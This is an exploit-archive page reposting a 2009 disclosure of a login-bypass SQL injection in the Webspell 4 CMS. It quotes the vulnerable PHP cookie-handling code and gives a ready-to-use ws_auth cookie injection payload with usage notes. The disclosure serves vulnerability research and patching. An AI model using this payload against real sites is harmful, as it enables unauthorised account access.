首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Webspell 4 (Auth Bypass) SQL Injection Vulnerability
来源:www.vfcocus.net 作者:h0yt3r 发布时间:2009-01-04  
#Webspell Login Bypass
#Found by: h0yt3r
#
##
#Checklogin.php Line 60:
#
#        setcookie("ws_auth", $ds['userID'].":".$ws_pwd, time()+($sessionduration*60*60));
#        $login = 1;
#
##
#_functions.php Line 253:
#
#        $login_per_cookie = false;
#        if(isset($_COOKIE['ws_auth']) AND !isset($_SESSION['ws_auth'])) {
#         $login_per_cookie = true;
#         $_SESSION['ws_auth'] = $_COOKIE['ws_auth'];
#        }
##
#src/login.php:
#
#        global $userID, $loggedin;
#
#        $userID = 0;
#        $loggedin=false;
#
#        if(isset($_SESSION['ws_auth'])) {
#          if(stristr($_SESSION['ws_auth'], "userid")===FALSE){
#            $authent = explode(":", $_SESSION['ws_auth']);
#            $ws_user = sprintf('%u', $authent[0]);
#
#            // ws_pwd must be a string without spaces and with a maximum length of 32       <- ???
#                  $ws_pwd = substr(str_replace(' ', '', $authent[1]), 0, 32);
#
#                  if(isset($ws_user) AND isset($ws_pwd)) {
#
#                $check = safe_query("SELECT userID FROM ".PREFIX."user WHERE userID='$ws_user' AND password='$ws_pwd'");
#
#                          while($ds=mysql_fetch_array($check)) {
#                      $loggedin=true;
#                            $userID=$ds['userID'];
#                    }
#                }
#                } else die();
#        }
#        ?>
#
#
####

// ws_pwd must be a string without spaces and with a maximum length of 32
                 $ws_pwd = substr(str_replace(' ', '', $authent[1]), 0, 32);

Wuta fuck is dis crap?!
$_COOKIE['ws_auth'] can be exploited by somting like dis:
1:'or/**/1=1/**/limit/**/0,1#   (# <- is a comment, dont forget...)
And btw:
$_SESSION['ws_auth'] = $_COOKIE['ws_auth'];
So dont foget to delete teh session...
Bad thing: Only works wit magic_quotes == off

But they got some function:
#_functions.php:74
#function sql_quote($value) {
#
#    if( get_magic_quotes_gpc() )    {
#        $value = stripslashes( $value );
#    }
#    if( function_exists( "mysql_real_escape_string" ) ) {
#        $value = mysql_real_escape_string( $value );
#    }
#    else
#    {
#        $value = addslashes( $value );
#        }
#    return $value;
#}
And why in the world isnt it used?!

~END~

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Destiny Media Player 1.61 (lst
·Destiny Media Player 1.61 (.m3
·Lito Lite CMS Multiple Cross S
·Destiny Media Player 1.61 (lst
·Destiny Media Player 1.61 (.m3
·Destiny Media Player 1.61 (lst
·VMware <= 2.5.1 (Vmware-authd)
·Destiny Media Player 1.61 (lst
·PHP <= 5.2.8 gd library - imag
·Destiny Media Player 1.61 (lst
·Linux Kernel 2.6.18/2.6.24/2.6
·Destiny Media Player 1.61 (lst
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved